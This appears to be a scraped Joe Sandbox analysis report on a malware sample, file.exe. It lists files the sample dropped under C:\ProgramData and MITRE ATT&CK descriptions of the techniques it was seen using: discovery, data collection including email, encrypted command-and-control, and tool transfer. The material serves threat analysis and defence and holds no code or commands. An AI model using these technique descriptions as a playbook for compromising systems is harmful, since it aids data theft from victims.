Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAEBAFBGIDHCBFHIECFC

C:\ProgramData\ECAEGHIJ

C:\ProgramData\FHCBGIIJKEBFCBGDBAEBGCFIEH

C:\ProgramData\GIEHIDHJ

C:\ProgramData\IIJEBFCFIJJJEBGDBAKE

C:\ProgramData\KFIJEGCBGIDGHIDHDGCBFCGDGC

C:\ProgramData\KKFHJDAEHIEHJJKFBGDA

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre